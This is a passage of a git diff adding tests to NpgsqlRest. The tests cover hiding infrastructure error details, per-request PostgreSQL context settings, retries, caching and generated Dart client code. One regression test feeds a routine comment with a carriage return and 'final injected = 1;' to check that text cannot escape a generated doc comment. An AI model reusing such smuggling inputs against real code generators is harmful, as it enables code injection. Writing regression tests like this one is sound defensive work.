unreachable) returns a generic +/// error; the message - host, port, pool details - is only logged. It used to be returned as the problem title. +/// Errors raised by PostgreSQL itself (RAISE EXCEPTION) keep their message: it is part of the routine's contract. +/// +public class InfrastructureErrorDisclosureTests : IAsyncLifetime +{ + private WebApplication _app = null!; + private HttpClient _client = null!; + + public async Task InitializeAsync() + { + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + _app = builder.Build(); + _app.UseNpgsqlRest(new(Database.Create()) + { + IncludeSchemas = ["public"], + NameSimilarTo = "ierr[_]%", + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + ConnectionRetryOptions = new() { Enabled = false }, + ConnectionStrings = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + ["unreachable"] = "Host=127.0.0.1;Port=9;Database=nothing;Username=nobody;Password=secret-password;Timeout=2" + }, + }); + await _app.StartAsync(); + _client = new HttpClient { BaseAddress = new Uri(_app.Urls.First()) }; + } + + public async Task DisposeAsync() + { + _client.Dispose(); + await _app.StopAsync(); + await _app.DisposeAsync(); + } + + [Fact] + public async Task Connection_failure_returns_a_generic_error() + { + using var response = await _client.GetAsync("/api/ierr-unreachable"); + response.StatusCode.Should().Be(HttpStatusCode.InternalServerError); + (await response.Content.ReadAsStringAsync()).Should().Be( + "{\"type\":\"https://tools.ietf.org/html/rfc9110#section-15.6.1\",\"title\":\"Internal Server Error\",\"status\":500}"); + } + + [Fact] + public async Task Raised_exception_keeps_its_message() + { + using var response = await _client.GetAsync("/api/ierr-raised"); + (await response.Content.ReadAsStringAsync()).Should().Contain("Visible business error"); + } +} diff --git a/NpgsqlRestTests/ConnectionTests/RequestContextBatchTests.cs b/NpgsqlRestTests/ConnectionTests/RequestContextBatchTests.cs new file mode 100644 index 00000000..bdfd265f --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/RequestContextBatchTests.cs @@ -0,0 +1,303 @@ +using System.Net; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void RequestContextBatchTests() + { + script.Append(""" + -- What is set on the connection right now, without setting anything: "" for a setting that is not set. + create function rcb_peek() returns text language sql as $$ + select + coalesce(nullif(current_setting('request.user_id', true), ''), '') || '|' || + coalesce(nullif(current_setting('request.user_name', true), ''), '') || '|' || + coalesce(nullif(current_setting('request.ip_address', true), ''), '') || '|' || + coalesce(nullif(current_setting('request.headers', true), ''), '') + $$; + comment on function rcb_peek() is 'HTTP GET'; + + create function rcb_scalar(_p text) returns text language sql as $$ + select _p || ':' || + coalesce(nullif(current_setting('request.user_id', true), ''), '') || '|' || + coalesce(nullif(current_setting('request.user_name', true), ''), '') || '|' || + (nullif(current_setting('request.ip_address', true), '') is not null)::text + $$; + comment on function rcb_scalar(text) is 'HTTP GET + user_context'; + + create function rcb_rows(_n int) returns table (n int, user_id text, flag boolean, amount numeric, at timestamp, tags text[], doc json, code char(4)) + language sql as $$ + select i, current_setting('request.user_id', true), i % 2 = 0, i * 1.5, timestamp '2026-01-02 03:04:05' + make_interval(days => i), + array['a', 'b ' || i], json_build_object('i', i), 'x'::char(4) + from generate_series(1, _n) i + $$; + comment on function rcb_rows(int) is 'HTTP GET + user_context'; + + -- the same rows without the request context: rendering must not depend on how the routine is sent + create function rcb_rows_plain(_n int) returns table (n int, user_id text, flag boolean, amount numeric, at timestamp, tags text[], doc json, code char(4)) + language sql as $$ + select i, '123'::text, i % 2 = 0, i * 1.5, timestamp '2026-01-02 03:04:05' + make_interval(days => i), + array['a', 'b ' || i], json_build_object('i', i), 'x'::char(4) + from generate_series(1, _n) i + $$; + comment on function rcb_rows_plain(int) is 'HTTP GET'; + + create table rcb_log (v text primary key, user_id text); + create function rcb_void(_v text) returns void language sql as $$ + insert into rcb_log values (_v, current_setting('request.user_id', true)) + $$; + comment on function rcb_void(text) is 'HTTP POST + user_context'; + create function rcb_log_get(_v text) returns text language sql as $$ select user_id from rcb_log where v = _v $$; + comment on function rcb_log_get(text) is 'HTTP GET'; + + create function rcb_headers() returns text language sql as $$ + select value from json_each_text(current_setting('request.headers', true)::json) where lower(key) = 'x-rcb-test' + $$; + comment on function rcb_headers() is 'HTTP GET + request_headers context'; + + create function rcb_both() returns text language sql as $$ + select current_setting('request.user_id', true) || '|' || + (select value from json_each_text(current_setting('request.headers', true)::json) where lower(key) = 'x-rcb-test') + $$; + comment on function rcb_both() is 'HTTP GET + user_context + request_headers context'; + + create function rcb_fail() returns text language plpgsql as $$ + begin + raise exception 'failed for %', current_setting('request.user_id', true); + end $$; + comment on function rcb_fail() is 'HTTP GET + user_context'; + + -- Each counts its attempts in a sequence (sequences are not rolled back) and fails the first one with a + -- retryable error (40001, serialization_failure). The default retry strategy retries at once. + create sequence rcb_retry_scalar_seq; + create function rcb_retry_scalar() returns text language plpgsql as $$ + begin + if nextval('rcb_retry_scalar_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + return 'attempt ' || currval('rcb_retry_scalar_seq') || ' for ' || current_setting('request.user_id', true); + end $$; + comment on function rcb_retry_scalar() is 'HTTP GET + user_context'; + + create sequence rcb_retry_rows_seq; + create function rcb_retry_rows() returns table (attempt bigint, user_id text) language plpgsql as $$ + begin + if nextval('rcb_retry_rows_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + return query select currval('rcb_retry_rows_seq'), current_setting('request.user_id', true); + end $$; + comment on function rcb_retry_rows() is 'HTTP GET + user_context'; + + create sequence rcb_retry_void_seq; + create function rcb_retry_void() returns void language plpgsql as $$ + begin + if nextval('rcb_retry_void_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + insert into rcb_log values ('retry-void attempt ' || currval('rcb_retry_void_seq'), current_setting('request.user_id', true)); + end $$; + comment on function rcb_retry_void() is 'HTTP POST + user_context'; + + create sequence rcb_cached_seq; + create function rcb_cached(_key text) returns text language sql as $$ + select _key || ':' || current_setting('request.user_id', true) || ':' || nextval('rcb_cached_seq') + $$; + comment on function rcb_cached(text) is 'HTTP GET + user_context + cached _key'; + + """); + } +} + +/// +/// The request context (user_context, request_headers context) of functions is sent to PostgreSQL together with the +/// routine, in one round trip, as settings that are local to that one batch. The routine sees them, and nothing stays +/// on the connection - which these tests can observe because the fixture's only connection is never reset. +/// +[Collection("RequestContextBatchTestFixture")] +public class RequestContextBatchTests(RequestContextBatchTestFixture test) +{ + private const string NothingSet = "|||"; + + private static async Task GetAsync(HttpClient client, string url, HttpStatusCode expected = HttpStatusCode.OK) + { + using var response = await client.GetAsync(url); + var content = await response.Content.ReadAsStringAsync(); + response.StatusCode.Should().Be(expected, content); + return content; + } + + [Fact] + public async Task Scalar_sees_the_context_and_nothing_stays_on_the_connection() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-scalar/?p=a")).Should().Be("a:123|admin|true"); + // the same PostgreSQL session, not reset in between + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Anonymous_request_gets_the_ip_address_and_no_user() + { + using var user = await test.LoggedInClientAsync(); + using var anonymous = test.AnonymousClient(); + + (await GetAsync(user, "/api/rcb-scalar/?p=b")).Should().Be("b:123|admin|true"); + (await GetAsync(anonymous, "/api/rcb-scalar/?p=c")).Should().Be("c:||true"); + (await GetAsync(anonymous, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Rows_see_the_context_and_render_exactly_as_without_it() + { + using var user = await test.LoggedInClientAsync(); + + var expected = + "[{\"n\":1,\"userId\":\"123\",\"flag\":false,\"amount\":1.5,\"at\":\"2026-01-03T03:04:05\",\"tags\":[\"a\",\"b 1\"],\"doc\":{\"i\" : 1},\"code\":\"x \"}," + + "{\"n\":2,\"userId\":\"123\",\"flag\":true,\"amount\":3.0,\"at\":\"2026-01-04T03:04:05\",\"tags\":[\"a\",\"b 2\"],\"doc\":{\"i\" : 2},\"code\":\"x \"}]"; + (await GetAsync(user, "/api/rcb-rows/?n=2")).Should().Be(expected); + (await GetAsync(user, "/api/rcb-rows-plain/?n=2")).Should().Be(expected); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Many_rows_are_complete() + { + using var user = await test.LoggedInClientAsync(); + + var withContext = await GetAsync(user, "/api/rcb-rows/?n=3000"); + var plain = await GetAsync(user, "/api/rcb-rows-plain/?n=3000"); + withContext.Should().Be(plain); + withContext.Should().StartWith("[{\"n\":1,\"userId\":\"123\","); + withContext.Should().EndWith("{\"n\":3000,\"userId\":\"123\",\"flag\":true,\"amount\":4500.0,\"at\":\"2034-03-21T03:04:05\",\"tags\":[\"a\",\"b 3000\"],\"doc\":{\"i\" : 3000},\"code\":\"x \"}]"); + } + + [Fact] + public async Task Void_routine_sees_the_context() + { + using var user = await test.LoggedInClientAsync(); + + using (var body = new StringContent("{\"v\":\"void-1\"}", Encoding.UTF8, "application/json")) + using (var response = await user.PostAsync("/api/rcb-void/", body)) + { + response.StatusCode.Should().Be(HttpStatusCode.NoContent); + } + (await GetAsync(user, "/api/rcb-log-get/?v=void-1")).Should().Be("123"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Request_headers_context_is_sent_with_the_routine() + { + using var client = test.AnonymousClient(); + client.DefaultRequestHeaders.Add("X-Rcb-Test", "header value"); + + (await GetAsync(client, "/api/rcb-headers/")).Should().Be("header value"); + (await GetAsync(client, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task User_context_and_request_headers_context_together() + { + using var user = await test.LoggedInClientAsync(); + user.DefaultRequestHeaders.Add("X-Rcb-Test", "both"); + + (await GetAsync(user, "/api/rcb-both/")).Should().Be("123|both"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Failing_routine_reports_its_error_and_the_connection_stays_usable() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-fail/", HttpStatusCode.BadRequest)) + .Should().Be("{\"type\":\"https://tools.ietf.org/html/rfc9110#section-15.5.1\",\"title\":\"failed for 123\",\"status\":400,\"detail\":\"P0001\"}"); + // the only connection: still usable, and clean + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + (await GetAsync(user, "/api/rcb-scalar/?p=after")).Should().Be("after:123|admin|true"); + } + + [Fact] + public async Task Scalar_is_retried_with_its_context() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-retry-scalar/")).Should().Be("attempt 2 for 123"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Rows_are_retried_with_their_context() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-retry-rows/")).Should().Be("[{\"attempt\":2,\"userId\":\"123\"}]"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Void_routine_is_retried_with_its_context() + { + using var user = await test.LoggedInClientAsync(); + + using (var response = await user.PostAsync("/api/rcb-retry-void/", null)) + { + response.StatusCode.Should().Be(HttpStatusCode.NoContent); + } + // the first attempt was rolled back as a whole; the second one wrote the row + (await GetAsync(user, "/api/rcb-log-get/?v=retry-void attempt 2")).Should().Be("123"); + (await GetAsync(user, "/api/rcb-log-get/?v=retry-void attempt 1")).Should().Be(""); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Cached_value_is_computed_with_the_context_once() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-cached/?key=k")).Should().Be("k:123:1"); + // from the cache: the routine did not run again + (await GetAsync(user, "/api/rcb-cached/?key=k")).Should().Be("k:123:1"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Concurrent_requests_each_see_their_own_context() + { + using var user = await test.LoggedInClientAsync(); + using var anonymous = test.AnonymousClient(); + + var tasks = new List>(); + for (var i = 0; i < 40; i++) + { + tasks.Add(GetAsync(i % 2 == 0 ? user : anonymous, "/api/rcb-scalar/?p=" + i)); + } + var results = await Task.WhenAll(tasks); + for (var i = 0; i < results.Length; i++) + { + results[i].Should().Be(i % 2 == 0 ? $"{i}:123|admin|true" : $"{i}:||true"); + } + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public void No_endpoint_here_requires_the_connection_reset() + { + // every endpoint of this fixture sends its context with the routine, so nothing can stay on a connection + test.Options.ConnectionResetRequired.Should().BeFalse(); + } +} diff --git a/NpgsqlRestTests/ConnectionTests/RequestContextBatchUnitTests.cs b/NpgsqlRestTests/ConnectionTests/RequestContextBatchUnitTests.cs new file mode 100644 index 00000000..1a7237f4 --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/RequestContextBatchUnitTests.cs @@ -0,0 +1,133 @@ +using Npgsql; +using NpgsqlTypes; + +namespace NpgsqlRestTests.ConnectionTests; + +/// +/// The parts of RequestContextBatch that need no database: whether Npgsql supports it, the context statement, which +/// SQL-file statements qualify, and how the batch is put together. +/// +public class RequestContextBatchUnitTests +{ + /// + /// Text results for a batch come from a member of Npgsql that is not in its public API. If an Npgsql upgrade + /// removes or renames it, NpgsqlRest keeps working - the context goes back to a separate round trip - but this + /// test fails, so the loss is noticed. + /// + [Fact] + public void This_Npgsql_returns_text_results_for_a_batch() + { + RequestContextBatch.IsSupported.Should().BeTrue(); + } + + [Theory] + [InlineData(1, "select set_config($1,$2,true) is null")] + [InlineData(2, "select set_config($1,$2,true) is null,set_config($3,$4,true) is null")] + [InlineData(4, "select set_config($1,$2,true) is null,set_config($3,$4,true) is null,set_config($5,$6,true) is null,set_config($7,$8,true) is null")] + public void Context_statement_sets_every_key_from_parameters(int count, string expected) + { + RequestContextBatch.ContextStatement(count).Should().Be(expected); + // cached per count + RequestContextBatch.ContextStatement(count).Should().BeSameAs(RequestContextBatch.ContextStatement(count)); + } + + [Fact] + public void Context_statement_for_many_keys() + { + var statement = RequestContextBatch.ContextStatement(40); + statement.Should().StartWith("select set_config($1,$2,true) is null,"); + statement.Should().EndWith(",set_config($79,$80,true) is null"); + } + + [Theory] + // queries and data changes: cannot end the transaction they run in + [InlineData("select 1", true)] + [InlineData("SELECT * from t where id = $1", true)] + [InlineData(" \n\t select 1", true)] + [InlineData("with x as (select 1) select * from x", true)] + [InlineData("insert into t values ($1) returning id", true)] + [InlineData("update t set a = $1", true)] + [InlineData("delete from t where id = $1", true)] + [InlineData("merge into t using s on t.id = s.id when matched then do nothing", true)] + [InlineData("values (1), (2)", true)] + [InlineData("table t", true)] + [InlineData("-- a comment\nselect 1", true)] + [InlineData("/* a /* nested */ comment */ select 1", true)] + [InlineData("-- one\n/* two */\n-- three\nSeLeCt 1", true)] + [InlineData("select(1)", true)] + // everything else is left alone + [InlineData("call my_proc($1)", false)] + [InlineData("do $$ begin commit; end $$", false)] + [InlineData("vacuum t", false)] + [InlineData("set search_path to x", false)] + [InlineData("begin", false)] + [InlineData("commit", false)] + [InlineData("copy t to stdout", false)] + [InlineData("create table t (id int)", false)] + [InlineData("refresh materialized view concurrently m", false)] + [InlineData("truncate t", false)] + [InlineData("(select 1) union (select 2)", false)] + [InlineData("select_all()", false)] + [InlineData("selects 1", false)] + [InlineData("select$1", false)] + [InlineData("", false)] + [InlineData(" ", false)] + [InlineData("-- only a comment", false)] + [InlineData("/* unterminated select 1", false)] + [InlineData(null, false)] + public void Sql_file_statement_qualifies_when_it_is_a_query_or_a_data_change(string? sql, bool expected) + { + RequestContextBatch.IsQueryOrDataChange(sql).Should().Be(expected); + } + + [Fact] + public void Batch_has_the_context_statement_and_then_the_routine_with_its_parameters() + { + using var connection = new NpgsqlConnection(); + using var command = new NpgsqlCommand("select public.my_function($1,$2)", connection) { CommandTimeout = 77 }; + var first = new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = 1 }; + var second = new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = "two" }; + command.Parameters.Add(first); + command.Parameters.Add(second); + + (string Key, object? Value)[] context = + [ + ("request.user_id", "123"), + ("request.user_name", DBNull.Value), + ]; + using var batch = RequestContextBatch.Create(connection, command, context); + + batch.Connection.Should().BeSameAs(connection); + batch.Timeout.Should().Be(77); + batch.BatchCommands.Count.Should().Be(2); + + var contextCommand = batch.BatchCommands[0]; + contextCommand.CommandText.Should().Be("select set_config($1,$2,true) is null,set_config($3,$4,true) is null"); + contextCommand.Parameters.Select(p => p.Value).Should().Equal("request.user_id", "123", "request.user_name", DBNull.Value); + contextCommand.Parameters.Select(p => p.NpgsqlDbType).Should().OnlyContain(type => type == NpgsqlDbType.Text); + contextCommand.Parameters.Select(p => p.ParameterName).Should().OnlyContain(name => name == "", "positional parameters have no names"); + + var routineCommand = batch.BatchCommands[1]; + routineCommand.CommandText.Should().Be("select public.my_function($1,$2)"); + // the very same parameters, in order: they moved from the command to the batch + routineCommand.Parameters.Count.Should().Be(2); + routineCommand.Parameters[0].Should().BeSameAs(first); + routineCommand.Parameters[1].Should().BeSameAs(second); + command.Parameters.Count.Should().Be(0); + } + + [Fact] + public void Batch_for_a_routine_without_parameters() + { + using var connection = new NpgsqlConnection(); + using var command = new NpgsqlCommand("select public.no_parameters()", connection); + + (string Key, object? Value)[] context = [("request.ip_address", "127.0.0.1")]; + using var batch = RequestContextBatch.Create(connection, command, context); + + batch.BatchCommands.Count.Should().Be(2); + batch.BatchCommands[0].CommandText.Should().Be("select set_config($1,$2,true) is null"); + batch.BatchCommands[1].CommandText.Should().Be("select public.no_parameters()"); + batch.BatchCommands[1].Parameters.Count.Should().Be(0); + } +} diff --git a/NpgsqlRestTests/ConnectionTests/ServiceProviderModeRequestTests.cs b/NpgsqlRestTests/ConnectionTests/ServiceProviderModeRequestTests.cs new file mode 100644 index 00000000..4e6068fe --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/ServiceProviderModeRequestTests.cs @@ -0,0 +1,71 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using Npgsql; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void ServiceProviderModeRequestTests() + { + script.Append(""" +create function spmode_get() returns text language sql as 'select ''from service provider'''; +comment on function spmode_get() is 'HTTP GET'; +"""); + } +} + +/// +/// Requests in ServiceProviderMode take the data source / connection from the request's services. (The endpoint +/// handler no longer receives an IServiceProvider argument - binding it created a DI scope for every request - and +/// resolves context.RequestServices only in this mode.) +/// +public class ServiceProviderModeRequestTests +{ + private static async Task RunAsync(ServiceProviderObject mode, Action register) + { + var connectionString = Database.Create(); + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + register(builder.Services, connectionString); + await using var app = builder.Build(); + app.UseNpgsqlRest(new NpgsqlRestOptions + { + ServiceProviderMode = mode, + IncludeSchemas = ["public"], + NameSimilarTo = "spmode[_]%", + RequiresAuthorization = false, + }); + await app.StartAsync(); + try + { + using var client = new HttpClient { BaseAddress = new Uri(app.Urls.First()) }; + using var response = await client.GetAsync("/api/spmode-get"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + return await response.Content.ReadAsStringAsync(); + } + finally + { + await app.StopAsync(); + } + } + + [Fact] + public async Task DataSource_from_services_serves_requests() + { + var body = await RunAsync(ServiceProviderObject.NpgsqlDataSource, + (services, cs) => services.AddSingleton(NpgsqlDataSource.Create(cs))); + body.Should().Be("from service provider"); + } + + [Fact] + public async Task Scoped_connection_from_services_serves_requests() + { + var body = await RunAsync(ServiceProviderObject.NpgsqlConnection, + (services, cs) => services.AddScoped(_ => new NpgsqlConnection(cs))); + body.Should().Be("from service provider"); + } +} diff --git a/NpgsqlRestTests/DartClientTests/CommentLineBreakTests.cs b/NpgsqlRestTests/DartClientTests/CommentLineBreakTests.cs new file mode 100644 index 00000000..6ad49758 --- /dev/null +++ b/NpgsqlRestTests/DartClientTests/CommentLineBreakTests.cs @@ -0,0 +1,79 @@ +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void DartClientCommentLineBreakTests() + { + script.Append(""" +create schema if not exists dartclient_test; +create function dartclient_test.comment_line_break() +returns void +language sql +as $$ +select null; +$$; +comment on function dartclient_test.comment_line_break() is E'\ndartclient_module=dart_comment_line_break\nFirst line\rfinal injected = 1;\n'; +"""); + } + } +} + +namespace NpgsqlRestTests.DartClientTests +{ + /// + /// Every physical line of a generated Dart doc comment starts with "///". A lone carriage return in a routine + /// comment (Dart ends a line there too) used to leave the rest of that line outside the comment, as Dart code. + /// + [Collection("TestFixture")] + public class CommentLineBreakTests + { + private const string Expected = """ +import 'package:http/http.dart' as http; + +String baseUrl = ''; + +/// Override to inject a custom [http.Client] (e.g. MockClient in tests). +http.Client? httpClient; + +http.Client get _client => httpClient ??= http.Client(); + +Future _send( + String method, + Uri uri, { + Map? headers, + String? body, +}) async { + final request = http.Request(method, uri); + if (headers != null) { + request.headers.addAll(headers); + } + if (body != null) { + request.body = body; + } + return http.Response.fromStream(await _client.send(request)); +} + +/// function dartclient_test.comment_line_break() +/// returns void +/// +/// comment on function dartclient_test.comment_line_break is 'dartclient_module=dart_comment_line_break +/// First line +/// final injected = 1;'; +/// +/// See FUNCTION dartclient_test.comment_line_break +Future dartclientTestCommentLineBreak() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/comment-line-break'); + await _send('POST', uri); +} + +"""; + + [Fact] + public void Test_CommentLineBreak_GeneratedFile() + { + var filePath = Path.Combine(Setup.Program.DartClientOutputPath, "dart_comment_line_break.dart"); + var content = File.ReadAllText(filePath); + content.Should().Be(Expected); + } + } +} diff --git a/NpgsqlRestTests/DartClientTests/NumericSplitTests.cs b/NpgsqlRestTests/DartClientTests/NumericSplitTests.cs index 3d4d0c56..f0ab5bee 100644 --- a/NpgsqlRestTests/DartClientTests/NumericSplitTests.cs +++ b/NpgsqlRestTests/DartClientTests/NumericSplitTests.cs @@ -7,8 +7,8 @@ public static void DartClientNumericSplitTests() script.Append(""" create schema if not exists dartclient_test; --- Dart distinguishes int (smallint/integer/bigint) from double (real/double precision/numeric/money), --- unlike TypeScript where every numeric is just `number`. +-- Dart distinguishes int (smallint/integer/bigint) from double (real/double precision/numeric), +-- unlike TypeScript where every numeric is just `number`. money is a String: PostgreSQL writes it as text ("$1,234.50"). create function dartclient_test.numeric_split( _small smallint, _regular int, @@ -98,7 +98,7 @@ class DartclientTestNumericSplitRequest { final double? real; final double? double_; final double? numeric; - final double? money; + final String? money; const DartclientTestNumericSplitRequest({ this.small, @@ -118,7 +118,7 @@ factory DartclientTestNumericSplitRequest.fromJson(Map json) { real: (json['real'] as num?)?.toDouble(), double_: (json['double'] as num?)?.toDouble(), numeric: (json['numeric'] as num?)?.toDouble(), - money: (json['money'] as num?)?.toDouble(), + money: json['money'] as String?, ); } @@ -142,7 +142,7 @@ class DartclientTestNumericSplitResponse { final double? realCol; final double? doubleCol; final double? numericCol; - final double? moneyCol; + final String? moneyCol; const DartclientTestNumericSplitResponse({ this.smallCol, @@ -162,7 +162,7 @@ factory DartclientTestNumericSplitResponse.fromJson(Map json) { realCol: (json['realCol'] as num?)?.toDouble(), doubleCol: (json['doubleCol'] as num?)?.toDouble(), numericCol: (json['numericCol'] as num?)?.toDouble(), - moneyCol: (json['moneyCol'] as num?)?.toDouble(), + moneyCol: json['moneyCol'] as String?, ); } diff --git a/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs b/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs new file mode 100644 index 00000000..6ecf3604 --- /dev/null +++ b/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs @@ -0,0 +1,324 @@ +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void DartClientResponseShapeTests() + { + script.Append(""" +create schema if not exists dartclient_test; + +create function dartclient_test.shape_raw() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_raw() is ' +dartclient_module=dart_shape +raw +separator ,'; + +create function dartclient_test.shape_void() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_void() is ' +dartclient_module=dart_shape +@void'; + +create function dartclient_test.shape_html() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_html() is ' +dartclient_module=dart_shape +@table_format = html'; + +create function dartclient_test.shape_bytes() returns bytea language sql as $$ select 'abc'::bytea $$; +comment on function dartclient_test.shape_bytes() is ' +dartclient_module=dart_shape'; + +create function dartclient_test.shape_cached() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_cached() is ' +dartclient_module=dart_shape +cached'; + +create function dartclient_test.shape_upload(_meta json = null) returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_upload(json) is ' +dartclient_module=dart_shape +upload for file_system +param _meta is upload metadata'; +"""); + } + } +} + +namespace NpgsqlRestTests.DartClientTests +{ + // What the generated functions return, for endpoints that do not answer with the routine's rows as JSON. + // https://github.com/NpgsqlRest/NpgsqlRest/issues/36 + [Collection("TestFixture")] + public class ResponseShapeTests + { + private const string Expected = """ +import 'dart:convert'; +import 'package:http/http.dart' as http; + +String baseUrl = ''; + +/// Override to inject a custom [http.Client] (e.g. MockClient in tests). +http.Client? httpClient; + +http.Client get _client => httpClient ??= http.Client(); + +Future _send( + String method, + Uri uri, { + Map? headers, + String? body, +}) async { + final request = http.Request(method, uri); + if (headers != null) { + request.headers.addAll(headers); + } + if (body != null) { + request.body = body; + } + return http.Response.fromStream(await _client.send(request)); +} + +Future _sendMultipart( + http.MultipartRequest multipart, { + void Function(int loaded, int total)? progress, +}) async { + if (progress == null) { + return http.Response.fromStream(await _client.send(multipart)); + } + final total = multipart.contentLength; + final bytes = multipart.finalize(); + final request = http.StreamedRequest(multipart.method, multipart.url); + request.headers.addAll(multipart.headers); + request.contentLength = total; + var loaded = 0; + bytes.listen( + (chunk) { + loaded += chunk.length; + progress(loaded, total); + request.sink.add(chunk); + }, + onDone: request.sink.close, + onError: request.sink.addError, + ); + return http.Response.fromStream(await _client.send(request)); +} + +String _query(Map query) { + final parts = []; + query.forEach((key, value) { + if (value is List) { + for (final v in value) { + parts.add(v == null ? '$key=' : '$key=${Uri.encodeQueryComponent(_str(v))}'); + } + } else if (value == null) { + parts.add('$key='); + } else { + parts.add('$key=${Uri.encodeQueryComponent(_str(value))}'); + } + }); + return '?${parts.join('&')}'; +} + +String _str(Object value) => + value is DateTime ? value.toIso8601String() : value.toString(); + +class DartclientTestShapeCachedResponse { + final int? a; + final String? b; + + const DartclientTestShapeCachedResponse({ + this.a, + this.b, + }); + + factory DartclientTestShapeCachedResponse.fromJson(Map json) { + return DartclientTestShapeCachedResponse( + a: (json['a'] as num?)?.toInt(), + b: json['b'] as String?, + ); + } + + Map toJson() { + return { + 'a': a, + 'b': b, + }; + } +} + +class DartclientTestShapeUploadRequest { + final dynamic meta; + + const DartclientTestShapeUploadRequest({ + this.meta, + }); + + factory DartclientTestShapeUploadRequest.fromJson(Map json) { + return DartclientTestShapeUploadRequest( + meta: json['meta'], + ); + } + + Map toJson() { + return { + if (meta != null) 'meta': meta, + }; + } +} + +/// function dartclient_test.shape_bytes() +/// returns bytea +/// +/// comment on function dartclient_test.shape_bytes is 'dartclient_module=dart_shape'; +/// +/// Returns `http.Response`. +/// +/// See FUNCTION dartclient_test.shape_bytes +Future dartclientTestShapeBytes() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-bytes'); + final response = await _send('POST', uri); + return response; +} + +/// function dartclient_test.shape_cached() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_cached is 'dartclient_module=dart_shape +/// cached'; +/// +/// Returns `List`. +/// +/// See FUNCTION dartclient_test.shape_cached +Future> dartclientTestShapeCached() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-cached'); + final response = await _send( + 'POST', + uri, + headers: { + 'Content-Type': 'application/json', + }, + ); + return (jsonDecode(utf8.decode(response.bodyBytes)) as List) + .map((e) => DartclientTestShapeCachedResponse.fromJson(e as Map)) + .toList(); +} + +/// function dartclient_test.shape_cached() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_cached is 'dartclient_module=dart_shape +/// cached'; +/// +/// Returns `Map`. +/// +/// See FUNCTION dartclient_test.shape_cached +Future> dartclientTestShapeCachedInvalidate() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-cached/invalidate'); + final response = await _send('POST', uri); + return jsonDecode(utf8.decode(response.bodyBytes)) as Map; +} + +/// function dartclient_test.shape_html() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_html is 'dartclient_module=dart_shape +/// @table_format = html'; +/// +/// Returns `http.Response`. +/// +/// See FUNCTION dartclient_test.shape_html +Future dartclientTestShapeHtml() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-html'); + final response = await _send('POST', uri); + return response; +} + +/// function dartclient_test.shape_raw() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_raw is 'dartclient_module=dart_shape +/// raw +/// separator ,'; +/// +/// Returns `String`. +/// +/// See FUNCTION dartclient_test.shape_raw +Future dartclientTestShapeRaw() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-raw'); + final response = await _send('POST', uri); + return utf8.decode(response.bodyBytes); +} + +/// function dartclient_test.shape_upload( +/// _meta json DEFAULT NULL::json +/// ) +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function 